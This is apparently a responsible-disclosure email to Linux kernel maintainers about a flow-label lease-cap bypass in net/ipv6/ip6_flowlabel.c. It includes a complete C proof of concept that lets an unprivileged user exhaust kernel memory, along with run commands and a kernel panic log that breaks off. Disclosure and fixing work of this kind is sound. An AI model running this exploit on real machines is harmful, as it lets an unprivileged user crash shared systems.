ipv6: flowlabel: enforce the per-socket lease cap on reused labels
Subsystems (4)
cover ipv6: flowlabel: enforce the per-socket lease cap on reused labels
Hi Linux kernel maintainers,
We found and validated a issue in net/ipv6/ip6_flowlabel.c. The bug is reachable by a non-root user without namespace setup.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
ipv6_flowlabel_get() lets a socket reacquire a compatible existing flowlabel and link another ipv6_fl_socklist entry through the recheck path.
The normal create path goes through mem_check(). That logic relies on fl_size growing as new labels are created, so the FL_MAX_PER_SOCK cap becomes effective once one socket has already leased 32 labels.
Reusing an existing flowlabel does not increase fl_size. Repeated GET requests for the same label on one socket therefore keep succeeding through recheck without ever tripping the per-socket cap, which allows one unprivileged socket to grow ipv6_fl_list and fl->users without bound.
The fix is to count the current socket leases before linking a reused flowlabel. This preserves the existing global budget logic for new labels and only closes the duplicate-acquisition bypass.
Reproducer:
gcc -O2 -Wall -Wextra -pthread -o poc poc.c
echo 2 > /proc/sys/vm/panic_on_oom
./poc 4
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/in6.h>
#include <netinet/in.h>
#include <pthread.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef IPV6_FLOWLABEL_MGR
#define IPV6_FLOWLABEL_MGR 32
#endif
struct worker_args {
int id;
unsigned long long limit;
};static void die(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}static int flowlabel_get(int fd, struct in6_flowlabel_req *req)
{
return setsockopt(fd, IPPROTO_IPV6, IPV6_FLOWLABEL_MGR, req, sizeof(*req));
}static void init_req(struct in6_flowlabel_req *req)
{
memset(req, 0, sizeof(*req));
req->flr_dst = in6addr_loopback;
req->flr_action = IPV6_FL_A_GET;
req->flr_share = IPV6_FL_S_ANY;
req->flr_flags = IPV6_FL_F_CREATE;
req->flr_expires = 6;
req->flr_linger = 6;
}static void *worker(void *opaque)
{
struct worker_args *args = opaque;
struct in6_flowlabel_req req;
unsigned long long i = 0;
int fd;
fd = socket(AF_INET6, SOCK_DGRAM, 0);
if (fd < 0)
die("socket");
init_req(&req);
if (flowlabel_get(fd, &req) < 0)
die("initial flowlabel get");
fprintf(stderr, "thread=%d label=0x%05x\n", args->id,
(unsigned int)(ntohl(req.flr_label) & 0xfffff));
req.flr_flags = 0;
for (;;) {
if (flowlabel_get(fd, &req) < 0)
die("duplicate flowlabel get");
i++;
if ((i & ((1ULL << 20) - 1)) == 0)
fprintf(stderr, "thread=%d duplicates=%llu\n", args->id, i);
if (args->limit && i >= args->limit)
break;
}
pause();
return NULL;
}int main(int argc, char **argv)
{
struct worker_args *args;
pthread_t *threads;
unsigned long long limit = 0;
int i;
int nr_threads = 1;
if (argc > 1)
nr_threads = atoi(argv[1]);
if (argc > 2)
limit = strtoull(argv[2], NULL, 0);
if (nr_threads <= 0 || nr_threads > 256) {
fprintf(stderr, "usage: %s [threads 1-256] [duplicate_limit]\n", argv[0]);
return EXIT_FAILURE;
}
signal(SIGPIPE, SIG_IGN);
threads = calloc(nr_threads, sizeof(*threads));
args = calloc(nr_threads, sizeof(*args));
if (!threads || !args)
die("calloc");
for (i = 0; i < nr_threads; i++) {
args[i].id = i;
args[i].limit = limit;
if (pthread_create(&threads[i], NULL, worker, &args[i]) != 0) {
errno = errno ? errno : EINVAL;
die("pthread_create");
}
}
for (i = 0; i < nr_threads; i++) {
if (pthread_join(threads[i], NULL) != 0) {
errno = errno ? errno : EINVAL;
die("pthread_join");
}
}
return 0;
}------END poc.c--------
----BEGIN crash log----
[ 260.114163][ T9280] poc invoked oom-killer: gfp_mask=0x40cc0(GFP_KERNEL|__GFP_COMP), order=0, oom_score_adj=0 [ 260.116323][ T9280] CPU: 1 UID: 1001 PID: 9280 Comm: poc Not tainted 7.1.0-rc2-g6f381f63ccfe-dirty #3 PREEMPT(full) [ 260.116333][ T9280] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 260.116338][ T9280] Call Trace: [ 260.116342][ T9280] <TASK> [ 260.116344][ T9280] dump_stack_lvl+0x164/0x1f0 [ 260.116430][ T9280] dump_header+0xf9/0x980 [ 260.116440][ T9280] out_of_memory+0x896/0x1680 [ 260.116446][ T9280] ? __pfx_out_of_memory+0x10/0x10 [ 260.116453][ T9280] __alloc_frozen_pages_noprof+0x2309/0x2b00 [ 260.116463][ T9280] ? __pfx___alloc_frozen_pages_noprof+0x10/0x10 [ 260.116470][ T9280] ? __lock_acquire+0x45c/0x25f0 [ 260.116491][ T9280] ? __sanitizer_cov_trace_switch+0x54/0x90 [ 260.116498][ T9280] ? policy_nodemask+0xed/0x4f0 [ 260.116506][ T9280] alloc_pages_mpol+0x1fb/0x540 [ 260.116512][ T9280] ? __pfx_alloc_pages_mpol+0x10/0x10 [ 260.116518][ T9280] ? __lock_acquire+0x45c/0x25f0 [ 260.116523][ T9280] ? unwind_get_return_address+0x59/0xa0 [ 260.116532][ T9280] new_slab+0x458/0x670 [ 260.116537][ T9280] ? find_held_lock+0x2b/0x80 [ 260.116542][ T9280] ___slab_alloc+0x2c4/0x7f0 [ 260.116546][ T9280] ? fl_create+0x104/0xd30 [ 260.116554][ T9280] ? __pcs_replace_empty_main+0x3e3/0x640 [ 260.116561][ T9280] __kmalloc_cache_noprof+0x389/0x6e0 [ 260.116566][ T9280] ? fl_create+0x104/0xd30 [ 260.116572][ T9280] fl_create+0x104/0xd30 [ 260.116578][ T9280] ? do_sock_setsockopt+0xf3/0x1d0 [ 260.116585][ T9280] ? __sys_setsockopt+0x19a/0x230 [ 260.116589][ T9280] ? __x64_sys_setsockopt+0xbd/0x160 [ 260.116594][ T9280] ? do_syscall_64+0x116/0xf80 [ 260.116600][ T9280] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 260.116606][ T9280] ? __pfx_fl_create+0x10/0x10 [ 260.116613][ T9280] ? __lock_acquire+0x45c/0x25f0 [ 260.116622][ T9280] ? find_held_lock+0x2b/0x80 [ 260.116626][ T9280] ? __might_fault+0xbc/0x130 [ 260.116633][ T9280] ? __might_fault+0xbc/0x130 [ 260.116638][ T9280] ipv6_flowlabel_opt+0x50f/0x2d70 [ 260.116646][ T9280] ? __pfx_ipv6_flowlabel_opt+0x10/0x10 [ 260.116652][ T9280] ? __pfx_do_raw_spin_lock+0x10/0x10 [ 260.116659][ T9280] ? __local_bh_enable_ip+0xa2/0x120 [ 260.116667][ T9280] ? do_ipv6_setsockopt+0x1b4a/0x4640 [ 260.116673][ T9280] do_ipv6_setsockopt+0x1b4a/0x4640 [ 260.116680][ T9280] ? __print_lock_name+0x40/0xe0 [ 260.116684][ T9280] ? __pfx_do_ipv6_setsockopt+0x10/0x10 [ 260.116689][ T9280] ? avc_has_perm_noaudit+0x11e/0x3b0 [ 260.116716][ T9280] ? avc_has_perm_noaudit+0x145/0x3b0 [ 260.116722][ T9280] ? avc_has_perm+0x141/0x1f0 [ 260.116728][ T9280] ? __pfx_avc_has_perm+0x10/0x10 [ 260.116734][ T9280] ? find_held_lock+0x2b/0x80 [ 260.116738][ T9280] ? finish_task_switch.isra.0+0x2c3/0x1080 [ 260.116747][ T9280] ? sock_has_perm+0x25a/0x2f0 [ 260.116753][ T9280] ? __pfx_sock_has_perm+0x10/0x10 [ 260.116757][ T9280] ? selinux_netlbl_socket_setsockopt+0x183/0x470 [ 260.116764][ T9280] ? __pfx_selinux_netlbl_socket_setsockopt+0x10/0x10 [ 260.116771][ T9280] ? ipv6_setsockopt+0xcb/0x170 [ 260.116776][ T9280] ipv6_setsockopt+0xcb/0x170 [ 260.116782][ T9280] udpv6_setsockopt+0x64/0xb0 [ 260.116787][ T9280] ? __pfx_sock_common_setsockopt+0x10/0x10 [ 260.116794][ T9280] do_sock_setsockopt+0xf3/0x1d0 [ 260.116801][ T9280] __sys_setsockopt+0x19a/0x230 [ 260.116808][ T9280] __x64_sys_setsockopt+0xbd/0x160 [ 260.116813][ T9280] ? do_syscall_64+0x90/0xf80 [ 260.116818][ T9280] ? lockdep_hardirqs_on+0x7b/0x110 [ 260.116823][ T9280] do_syscall_64+0x116/0xf80 [ 260.116829][ T9280] ? clear_bhb_loop+0x40/0x90 [ 260.116835][ T9280] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 260.116841][ T9280] RIP: 0033:0x4218ce [ 260.116847][ T9280] Code: bc c5 c1 e0 1a 0d 00 00 04 00 89 01 e9 c1 fe ff ff e8 76 01 00 00 66 0f 1f 44 00 00 f3 0f 1e fa 49 89 ca b8 36 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 0a c3 66 0f 1f 84 00 00 00 00 00 48 c7 c2 b8 [ 260.116875][ T9280] RSP: 002b:00007fb2b56d01e8 EFLAGS: 00000286 ORIG_RAX: 0000000000000036 [ 260.116887][ T9280] RAX: ffffffffffffffda RBX: 00000000000e4359 RCX: 00000000004218ce [ 260.116890][ T9280] RDX: 0000000000000020 RSI: 0000000000000029 RDI: 0000000000000006 [ 260.116893][ T9280] RBP: 000000000968d9a0 R08: 0000000000000020 R09: 0000000000000000 [ 260.116896][ T9280] R10: 00007fb2b56d01f0 R11: 0000000000000286 R12: 0000000000000006 [ 260.116899][ T9280] R13: 00007fb2b56d01f0 R14: 0000000000499075 R15: 00007fff06d5a7d0 [ 260.116905][ T9280] </TASK> [ 260.116907][ T9280] Mem-Info: [ 260.293627][ T9280] active_anon:4299 inactive_anon:4857 isolated_anon:219 [ 260.293627][ T9280] active_file:137 inactive_file:432 isolated_file:0 [ 260.293627][ T9280] unevictable:1757 dirty:0 writeback:0 [ 260.293627][ T9280] slab_reclaimable:5632 slab_unreclaimable:238045 [ 260.293627][ T9280] mapped:69 shmem:2715 pagetables:560 [ 260.293627][ T9280] sec_pagetables:0 bounce:0 [ 260.293627][ T9280] kernel_misc_reclaimable:0 [ 260.293627][ T9280] free:14850 free_pcp:158 free_cma:0 [ 260.310299][ T9280] Node 0 active_anon:17280kB inactive_anon:19428kB active_file:968kB inactive_file:1728kB unevictable:7028kB isolated(anon):624kB isolated(file):0kB mapped:360kB dirty:0kB writeback:0kB shmem:10860kB shmem_thp:0kB shmem_pmdmapped:0kB anon_thp:0kB kernel_stack:9312kB pagetables:2240kB sec_pagetables:0kB all_unreclaimable? yes Balloon:0kB gpu_active:0kB gpu_reclaim:0kB [ 260.337132][ T9280] Node 0 DMA free:5704kB boost:0kB min:532kB low:664kB high:796kB reserved_highatomic:0KB free_highatomic:0KB active_anon:0kB inactive_anon:0kB active_file:0kB inactive_file:244kB unevictable:0kB writepending:0kB zspages:0kB present:15992kB managed:15360kB mlocked:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB [ 260.366962][ T9280] lowmem_reserve[]: 0 1275 1275 1275 1275 [ 260.367819][ T9280] Node 0 DMA32 free:52848kB boost:8192kB min:52712kB low:63840kB high:74968kB reserved_highatomic:0KB free_highatomic:0KB active_anon:18036kB inactive_anon:19260kB active_file:2480kB inactive_file:1048kB unevictable:7028kB writepending:0kB zspages:0kB present:2080640kB managed:1305728kB mlocked:0kB bounce:0kB free_pcp:592kB local_pcp:428kB free_cma:0kB [ 260.394848][ T9280] lowmem_reserve[]: 0 0 0 0 0 [ 260.395449][ T9280] Node 0 DMA: 1*4kB (U) 6*8kB (U) 5*16kB (U) 4*32kB (UM) 2*64kB (UM) 1*128kB (M) 0*256kB 2*512kB (UM) 2*1024kB (UM) 1*2048kB (U) 0*4096kB = 5636kB [ 260.402961][ T9280] Node 0 DMA32: 415*4kB (ME) 288*8kB (ME) 187*16kB (ME) 138*32kB (UME) 73*64kB (UME) 58*128kB (UME) 22*256kB (UME) 14*512kB (UME) 2*1024kB (M) 3*2048kB (M) 2*4096kB (M) = 52652kB [ 260.411359][ T9280] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=1048576kB [ 260.412684][ T9280] Node 0 hugepages_total=4 hugepages_free=4 hugepages_surp=0 hugepages_size=2048kB [ 260.422944][ T9280] 3181 total pagecache pages [ 260.423573][ T9280] 0 pages in swap cache [ 260.424132][ T9280] Free swap = 0kB [ 260.429228][ T9280] Total swap = 0kB [ 260.429831][ T9280] 524158 pages RAM [ 260.430270][ T9280] 0 pages HighMem/MovableOnly [ 260.435421][ T9280] 193886 pages reserved [ 260.436369][ T9280] 0 pages cma reserved [ 260.447576][ T9280] Unreclaimable slab info: [ 260.448598][ T9280] Name Used Total [ 260.460632][ T9280] bio-464 1KB 15KB [ 260.481536][ T9280] bio-528 3KB 15KB [ 260.495366][ T9280] bio-544 1KB 15KB [ 260.496240][ T9280] bio-552 1KB 15KB [ 260.512532][ T9280] TIPC 1KB 31KB [ 260.524576][ T9280] SCTPv6 2KB 30KB [ 260.525433][ T9280] RXRPC 2KB 30KB [ 260.534107][ T9280] rxrpc_call_jar 19KB 62KB [ 260.553196][ T9280] fib6_node 2KB 4KB [ 260.554042][ T9280] ip6_dst_cache 1KB 7KB [ 260.563372][ T9280] RAWv6 17KB 30KB [ 260.564924][ T9280] UDPv6 11KB 61KB [ 260.569716][ T9280] TCPv6 10KB 31KB [ 260.571016][ T9280] t10_alua_lu_gp_cache 0KB 7KB [ 260.580186][ T9280] scsi_sense_cache 2KB 3KB [ 260.586086][ T9280] virtio_scsi_cmd 24KB 31KB [ 260.591434][ T9280] bio-136 45KB 48KB [ 260.592420][ T9280] bio-264 1KB 7KB [ 260.596561][ T9280] mqueue_inode_cache 1KB 30KB [ 260.604287][ T9280] f2fs_bio_post_read_ctx 28KB 31KB [ 260.609999][ T9280] jfs_mp 9KB 11KB [ 260.611025][ T9280] cifs_small_rq 18KB 22KB [ 260.616364][ T9280] cifs_request 67KB 67KB [ 260.621772][ T9280] cifs_mpx_ids 1KB 7KB [ 260.629231][ T9280] cifs_io_subrequest 50KB 56KB [ 260.630268][ T9280] cifs_io_request 100KB 112KB [ 260.636659][ T9280] nfs_commit_data 3KB 15KB [ 260.653306][ T9280] nfs_write_data 38KB 46KB [ 260.654362][ T9280] jbd2_inode 2KB 3KB [ 260.673085][ T9280] ext4_system_zone 1KB 11KB [ 260.674510][ T9280] ext4_io_end_vec 0KB 3KB [ 260.680643][ T9280] fasync_cache 0KB 3KB [ 260.686736][ T9280] kvm_gmem_inode_cache 1KB 15KB [ 260.691120][ T9280] rpc_buffers 18KB 31KB [ 260.698807][ T9280] rpc_tasks 3KB 7KB [ 260.704566][ T9280] UNIX-STREAM 42KB 220KB [ 260.705567][ T9280] UNIX 36KB 94KB [ 260.712137][ T9280] tcp_bind2_bucket 1KB 4KB [ 260.715661][ T9280] tcp_bind_bucket 0KB 4KB [ 260.724068][ T9280] ip_fib_trie 1KB 3KB [ 260.725260][ T9280] ip_fib_alias 1KB 3KB [ 260.732443][ T9280] rtable 1KB 31KB [ 260.739579][ T9280] RAW 12KB 32KB [ 260.744301][ T9280] UDP 4KB 31KB [ 260.749433][ T9280] request_sock_TCP 0KB 7KB [ 260.757352][ T9280] TCP 10KB 60KB [ 260.760139][ T9280] fs_bio_integrity 0KB 4KB [ 260.767195][ T9280] hugetlbfs_inode_cache 3KB 15KB [ 260.768482][ T9280] netfs_subrequest 37KB 39KB [ 260.780312][ T9280] netfs_request 100KB 112KB [ 260.789775][ T9280] bio-280 16KB 16KB [ 260.790819][ T9280] ep_head 5KB 16KB [ 260.798972][ T9280] eventpoll_pwq 9KB 27KB [ 260.810600][ T9280] eventpoll_epi 16KB 45KB [ 260.818663][ T9280] inotify_inode_mark 27KB 31KB [ 260.830302][ T9280] sgpool-128 148KB 153KB [ 260.831411][ T9280] sgpool-64 81KB 94KB [ 260.842260][ T9280] sgpool-32 33KB 45KB [ 260.846336][ T9280] sgpool-16 17KB 47KB [ 260.854460][ T9280] sgpool-8 15KB 31KB [ 260.855397][ T9280] bio_crypt_ctx 18KB 19KB [ 260.862430][ T9280] bio_integrity_data 0KB 7KB [ 260.870571][ T9280] request_queue 161KB 182KB [ 260.871872][ T9280] blkdev_ioc 0KB 7KB [ 260.885183][ T9280] bio-200 71KB 78KB [ 260.898848][ T9280] biovec-max 328KB 367KB [ 260.899757][ T9280] biovec-128 36KB 63KB [ 260.910122][ T9280] biovec-64 72KB 75KB [ 260.921915][ T9280] biovec-16 14KB 23KB [ 260.928228][ T9280] uid_cache 0KB 7KB [ 260.934696][ T9280] dmaengine-unmap-256 2KB 31KB [ 260.944161][ T9280] dmaengine-unmap-128 1KB 15KB [ 260.952676][ T9280] dmaengine-unmap-16 0KB 7KB [ 260.962559][ T9280] dmaengine-unmap-2 0KB 4KB [ 260.969868][ T9280] QIPCRTR 1KB 30KB [ 260.979392][ T9280] audit_buffer 0KB 3KB [ 260.987460][ T9280] skbuff_small_head 21KB 63KB [ 260.995595][ T9280] skbuff_fclone_cache 0KB 63KB [ 260.996848][ T9280] skbuff_head_cache 21KB 78KB [ 261.006400][ T9280] configfs_dir_cache 4KB 7KB [ 261.007444][ T9280] file_lock_cache 0KB 30KB [ 261.016958][ T9280] file_lock_ctx 16KB 19KB [ 261.025714][ T9280] fsnotify_inode_mark_connector 21KB 22KB [ 261.032200][ T9280] taskstats 1KB 15KB [ 261.040754][ T9280] mem_cgroup_per_node 59KB 91KB [ 261.042018][ T9280] mem_cgroup 94KB 126KB [ 261.052816][ T9280] proc_dir_entry 311KB 347KB [ 261.056063][ T9280] seq_file 0KB 15KB [ 261.062996][ T9280] sigqueue 0KB 11KB [ 261.064059][ T9280] shmem_inode_cache 8424KB 8509KB [ 261.073260][ T9280] kernfs_iattrs_cache 210KB 225KB [ 261.074257][ T9280] kernfs_node_cache 21226KB 21321KB [ 261.085409][ T9280] mnt_cache 53KB 78KB [ 261.097920][ T9280] filp 253KB 850KB [ 261.098743][ T9280] names_cache 0KB 31KB [ 261.106620][ T9280] net_namespace 9KB 29KB [ 261.107839][ T9280] ima_iint_cache 62KB 115KB [ 261.118440][ T9280] hashtab_node 927KB 928KB [ 261.128964][ T9280] ebitmap_node 2104KB 2126KB [ 261.130061][ T9280] avtab_node 16916KB 16917KB [ 261.139207][ T9280] avc_node 89KB 134KB [ 261.140175][ T9280] lsm_inode_cache 3781KB 4595KB [ 261.147783][ T9280] lsm_file_cache 66KB 243KB [ 261.148581][ T9280] key_jar 24KB 32KB [ 261.157045][ T9280] uts_namespace 0KB 15KB [ 261.157875][ T9280] nsproxy 0KB 3KB [ 261.164685][ T9280] vm_area_struct 1085KB 2086KB [ 261.165777][ T9280] fs_cache 7KB 31KB [ 261.174293][ T9280] files_cache 22KB 79KB [ 261.175257][ T9280] signal_cache 526KB 1785KB [ 261.186472][ T9280] sighand_cache 667KB 2037KB [ 261.196071][ T9280] task_struct 2273KB 4406KB [ 261.197362][ T9280] cred 127KB 567KB [ 261.206991][ T9280] anon_vma_chain 321KB 574KB [ 261.208044][ T9280] anon_vma 288KB 465KB [ 261.213781][ T9280] pid 126KB 441KB [ 261.214599][ T9280] Acpi-Operand 76KB 158KB [ 261.220338][ T9280] Acpi-ParseExt 0KB 15KB [ 261.221073][ T9280] Acpi-Parse 0KB 15KB [ 261.225952][ T9280] Acpi-State 0KB 15KB [ 261.226936][ T9280] Acpi-Namespace 55KB 62KB [ 261.235942][ T9280] numa_policy 0KB 3KB [ 261.240125][ T9280] perf_event 0KB 31KB [ 261.241428][ T9280] trace_event_file 874KB 876KB [ 261.246030][ T9280] ftrace_event_field 1969KB 1972KB [ 261.251628][ T9280] pool_workqueue 754KB 787KB [ 261.254973][ T9280] maple_node 670KB 2457KB [ 261.264769][ T9280] mm_struct 65KB 187KB [ 261.272749][ T9280] vmap_area 930KB 936KB [ 261.276921][ T9280] debug_objects_cache 2763KB 3221KB [ 261.288741][ T9280] page->ptl 48KB 130KB [ 261.290051][ T9280] kmalloc-cg-8k 168KB 192KB [ 261.298945][ T9280] kmalloc-cg-4k 1080KB 1152KB [ 261.299804][ T9280] kmalloc-cg-2k 1356KB 1500KB [ 261.310383][ T9280] kmalloc-cg-1k 204KB 330KB [ 261.319402][ T9280] kmalloc-cg-512 108KB 283KB [ 261.324394][ T9280] kmalloc-cg-256 57KB 78KB [ 261.329031][ T9280] kmalloc-cg-128 35KB 55KB [ 261.330364][ T9280] kmalloc-cg-64 94KB 344KB [ 261.338237][ T9280] kmalloc-cg-32 1266KB 1299KB [ 261.339073][ T9280] kmalloc-cg-16 6KB 15KB [ 261.344055][ T9280] kmalloc-cg-8 12KB 23KB [ 261.353878][ T9280] kmalloc-cg-192 22KB 47KB [ 261.361414][ T9280] kmalloc-cg-96 1684KB 1712KB [ 261.372756][ T9280] kmalloc-8k 2400KB 2568KB [ 261.375232][ T9280] kmalloc-4k 3936KB 6168KB [ 261.382562][ T9280] kmalloc-2k 13098KB 13470KB [ 261.383939][ T9280] kmalloc-1k 24330KB 24720KB [ 261.395436][ T9280] kmalloc-512 16783KB 17419KB [ 261.396429][ T9280] kmalloc-256 4850KB 4851KB [ 261.402725][ T9280] kmalloc-128 37486KB 40150KB [ 261.406469][ T9280] kmalloc-64 5589KB 5956KB [ 261.409839][ T9280] kmalloc-32 709883KB 709884KB [ 261.410848][ T9280] kmalloc-16 2808KB 2851KB [ 261.416940][ T9280] kmalloc-8 1699KB 1752KB [ 261.417933][ T9280] kmalloc-192 1387KB 1740KB [ 261.422648][ T9280] kmalloc-96 2370KB 2540KB [ 261.428794][ T9280] kmem_cache_node 179KB 180KB [ 261.435368][ T9280] kmem_cache 214KB 220KB [ 261.442984][ T9280] Memory cgroup min protection 0kB -- low protection 0kB [ 261.442995][ T9280] Tasks state (memory values in pages): [ 261.452779][ T9280] [ pid ] uid tgid total_vm rss rss_anon rss_file rss_shmem pgtables_bytes swapents oom_score_adj name [ 261.460339][ T9280] [ 4982] 0 4982 10047 229 226 2 1 94208 0 -250 systemd-journal [ 261.468413][ T9280] [ 4995] 0 4995 9313 2938 2936 2 0 98304 0 -1000 systemd-udevd [ 261.472913][ T9280] [ 8767] 0 8767 1411 70 68 2 0 49152 0 0 cron [ 261.478782][ T9280] [ 8807] 0 8807 55235 378 375 3 0 77824 0 0 rsyslogd [ 261.480677][ T9280] [ 9092] 0 9092 24967 353 351 2 0 73728 0 0 dhclient [ 261.482292][ T9280] [ 9125] 0 9125 3336 244 242 2 0 65536 0 -1000 sshd [ 261.487220][ T9280] [ 9126] 0 9126 720 35 33 2 0 45056 0 0 agetty [ 261.488607][ T9280] [ 9127] 0 9127 720 34 32 2 0 40960 0 0 agetty [ 261.492648][ T9280] [ 9128] 0 9128 720 35 33 2 0 45056 0 0 agetty [ 261.496824][ T9280] [ 9129] 0 9129 720 34 32 2 0 53248 0 0 agetty [ 261.500751][ T9280] [ 9131] 0 9131 720 34 32 2 0 49152 0 0 agetty [ 261.504507][ T9280] [ 9132] 0 9132 720 34 32 2 0 45056 0 0 agetty [ 261.510431][ T9280] [ 9133] 0 9133 1101 37 35 2 0 49152 0 0 agetty [ 261.527985][ T9280] [ 9136] 0 9136 14097 390 389 1 0 90112 0 0 nginx [ 261.536055][ T9280] [ 9137] 33 9137 14190 471 469 2 0 90112 0 0 nginx [ 261.543133][ T9280] [ 9138] 33 9138 14190 471 469 2 0 90112 0 0 nginx [ 261.547022][ T9280] [ 9268] 0 9268 3452 292 290 2 0 65536 0 0 sshd [ 261.550363][ T9280] [ 9274] 1001 9274 3452 292 290 2 0 65536 0 0 sshd [ 261.555411][ T9280] [ 9275] 1001 9275 8478 21 20 1 0 49152 0 0 poc [ 261.562751][ T9280] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled [ 261.563851][ T9280] CPU: 0 UID: 1001 PID: 9280 Comm: poc Not tainted 7.1.0-rc2-g6f381f63ccfe-dirty #3 PREEMPT(full) [ 261.565268][ T9280] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 261.566854][ T9280] Call Trace: [ 261.567335][ T9280] <TASK> [ 261.567745][ T9280] dump_stack_lvl+0x3b/0x1f0 [ 261.568422][ T9280] vpanic+0x99f/0xa80 [ 261.568920][ T9280] ? __pfx_vpanic+0x10/0x10 [ 261.569945][ T9280] ? _raw_spin_unlock_irqrestore+0x3b/0x80 [ 261.570624][ T9280] panic+0xca/0xd0 [ 261.571061][ T9280] ? __pfx_panic+0x10/0x10 [ 261.571616][ T9280] ? __rcu_read_unlock+0x297/0x5c0 [ 261.572205][ T9280] ? dump_header+0x6e9/0x980 [ 261.572737][ T9280] ? out_of_memory+0x8a8/0x1680 [ 261.573304][ T9280] out_of_memory+0x8d6/0x1680 [ 261.574031][ T9280] ? __pfx_out_of_memory+0x10/0x10 [ 261.575240][ T9280] __alloc_frozen_pages_noprof+0x2309/0x2b00 [ 261.576097][ T9280] ? __pfx___alloc_frozen_pages_noprof+0x10/0x10 [ 261.576968][ T9280] ? __lock_acquire+0x45c/0x25f0 [ 261.577706][ T9280] ? __sanitizer_cov_trace_switch+0x54/0x90 [ 261.578706][ T9280] ? policy_nodemask+0xed/0x4f0 [ 261.579438][ T9280] alloc_pages_mpol+0x1fb/0x540 [ 261.580002][ T9280] ? __pfx_alloc_pages_mpol+0x10/0x10 [ 261.580626][ T9280] ? __lock_acquire+0x45c/0x25f0 [ 261.581225][ T9280] ? unwind_get_return_address+0x59/0xa0 [ 261.581856][ T9280] new_slab+0x458/0x670 [ 261.582395][ T9280] ? find_held_lock+0x2b/0x80 [ 261.582988][ T9280] ___slab_alloc+0x2c4/0x7f0 [ 261.583521][ T9280] ? fl_create+0x104/0xd30 [ 261.584046][ T9280] ? __pcs_replace_empty_main+0x3e3/0x640 [ 261.584713][ T9280] __kmalloc_cache_noprof+0x389/0x6e0 [ 261.585323][ T9280] ? fl_create+0x104/0xd30 [ 261.586423][ T9280] fl_create+0x104/0xd30 [ 261.587324][ T9280] ? do_sock_setsockopt+0xf3/0x1d0 [ 261.587919][ T9280] ? __sys_setsockopt+0x19a/0x230 [ 261.588479][ T9280] ? __x64_sys_setsockopt+0xbd/0x160 [ 261.589085][ T9280] ? do_syscall_64+0x116/0xf80 [ 261.589666][ T9280] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 261.590941][ T9280] ? __pfx_fl_create+0x10/0x10 [ 261.591522][ T9280] ? __lock_acquire+0x45c/0x25f0 [ 261.592115][ T9280] ? find_held_lock+0x2b/0x80 [ 261.592657][ T9280] ? __might_fault+0xbc/0x130 [ 261.593192][ T9280] ? __might_fault+0xbc/0x130 [ 261.593718][ T9280] ipv6_flowlabel_opt+0x50f/0x2d70 [ 261.594526][ T9280] ? __pfx_ipv6_flowlabel_opt+0x10/0x10 [ 261.595450][ T9280] ? __pfx_do_raw_spin_lock+0x10/0x10 [ 261.596203][ T9280] ? __local_bh_enable_ip+0xa2/0x120 [ 261.596834][ T9280] ? do_ipv6_setsockopt+0x1b4a/0x4640 [ 261.597495][ T9280] do_ipv6_setsockopt+0x1b4a/0x4640 [ 261.598187][ T9280] ? __print_lock_name+0x40/0xe0 [ 261.598975][ T9280] ? __pfx_do_ipv6_setsockopt+0x10/0x10 [ 261.599667][ T9280] ? avc_has_perm_noaudit+0x11e/0x3b0 [ 261.600306][ T9280] ? avc_has_perm_noaudit+0x145/0x3b0 [ 261.600919][ T9280] ? avc_has_perm+0x141/0x1f0 [ 261.601469][ T9280] ? __pfx_avc_has_perm+0x10/0x10 [ 261.602073][ T9280] ? find_held_lock+0x2b/0x80 [ 261.603002][ T9280] ? finish_task_switch.isra.0+0x2c3/0x1080 [ 261.603860][ T9280] ? sock_has_perm+0x25a/0x2f0 [ 261.604575][ T9280] ? __pfx_sock_has_perm+0x10/0x10 [ 261.605301][ T9280] ? selinux_netlbl_socket_setsockopt+0x183/0x470 [ 261.606436][ T9280] ? __pfx_selinux_netlbl_socket_setsockopt+0x10/0x10 [ 261.607419][ T9280] ? ipv6_setsockopt+0xcb/0x170 [ 261.608113][ T9280] ipv6_setsockopt+0xcb/0x170 [ 261.608857][ T9280] udpv6_setsockopt+0x64/0xb0 [ 261.609612][ T9280] ? __pfx_sock_common_setsockopt+0x10/0x10 [ 261.610571][ T9280] do_sock_setsockopt+0xf3/0x1d0 [ 261.612186][ T9280] __sys_setsockopt+0x19a/0x230 [ 261.613047][ T9280] __x64_sys_setsockopt+0xbd/0x160 [ 261.613916][ T9280] ? do_syscall_64+0x90/0xf80 [ 261.615052][ T9280] ? lockdep_hardirqs_on+0x7b/0x110 [ 261.615874][ T9280] do_syscall_64+0x116/0xf80 [ 261.616540][ T9280] ? clear_bhb_loop+0x40/0x90 [ 261.617298][ T9280] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 261.618259][ T9280] RIP: 0033:0x4218ce [ 261.618931][ T9280] Code: Unable to access opcode bytes at 0x4218a4. [ 261.620078][ T9280] RSP: 002b:00007fb2b56d01e8 EFLAGS: 00000286 ORIG_RAX: 0000000000000036 [ 261.621431][ T9280] RAX: ffffffffffffffda RBX: 00000000000e4359 RCX: 00000000004218ce [ 261.623069][ T9280] RDX: 0000000000000020 RSI: 0000000000000029 RDI: 0000000000000006 [ 261.624254][ T9280] RBP: 000000000968d9a0 R08: 0000000000000020 R09: 0000000000000000 [ 261.625393][ T9280] R10: 00007fb2b56d01f0 R11: 0000000000000286 R12: 0000000000000006 [ 261.626819][ T9280] R13: 00007fb2b56d01f0 R14: 0000000000499075 R15: 00007fff06d5a7d0 [ 